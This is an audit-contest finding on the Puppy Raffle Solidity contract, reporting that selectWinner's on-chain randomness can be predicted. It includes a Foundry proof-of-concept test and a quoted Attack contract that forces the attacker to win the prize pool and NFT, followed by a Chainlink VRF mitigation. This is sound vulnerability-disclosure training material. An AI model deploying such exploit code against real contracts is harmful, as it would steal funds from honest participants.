Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak randomness in selectWinner lets an attacker predict and force the winner

Root + Impact

Description

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "...");
require(players.length >= 4, "...");
@> uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
}

Risk

Likelihood: High — selectWinner has no access control, so the attacker chooses the block and computes the keccak256 result off-chain before calling. All inputs (msg.sender, block.timestamp, block.difficulty) are known at call time.

Impact: High — the attacker can guarantee they win the raffle, stealing the prize pool (80% of all entrance fees) from honest participants.

Proof of Concept

This test shows the attacker can force their own win. They enter the raffle,
then brute-force a block.difficulty value off-chain until the contract's
keccak256 formula resolves to their own index. They set that value, call
selectWinner(), and the contract confirms they won — receiving the 4 ETH prize
and the NFT. No randomness is involved; the outcome is chosen in advance.

function test_weak_randomness_attacker_wins() public {
address attacker = makeAddr("attacker");
address[] memory newPlayers = new address[](1);
newPlayers[0] = attacker;
puppyRaffle.enterRaffle{value: entranceFee}(newPlayers);
​
uint256 attackerIndex = puppyRaffle.getActivePlayerIndex(attacker);
vm.warp(block.timestamp + duration + 1);
​
uint256 numPlayers = 5; // 4 from setUp + attacker
uint256 winningDifficulty;
bool found;
​
// The RNG inputs are all known before the call, so the attacker can
// brute-force a block.difficulty value off-chain that makes them win.
for (uint256 d = 0; d < 100; d++) {
uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(attacker, block.timestamp, d))
) % numPlayers;
​
if (predictedIndex == attackerIndex) {
winningDifficulty = d;
found = true;
break;
}
}
assertTrue(found);
​
vm.difficulty(winningDifficulty);
​
// selectWinner has no access control: anyone can trigger the draw.
vm.prank(attacker);
puppyRaffle.selectWinner();
​
assertEq(puppyRaffle.previousWinner(), attacker);
}

Recommended Mitigation

On-chain values cannot be a source of secure randomness; adding more of them
does not help. Use a verifiable randomness oracle such as Chainlink VRF, which
returns a random number with a cryptographic proof it was not manipulated.
Access control on selectWinner() is a complementary measure but does not fix
the randomness itself.

// Replace on-chain RNG with Chainlink VRF — see mitigation above.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 14 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!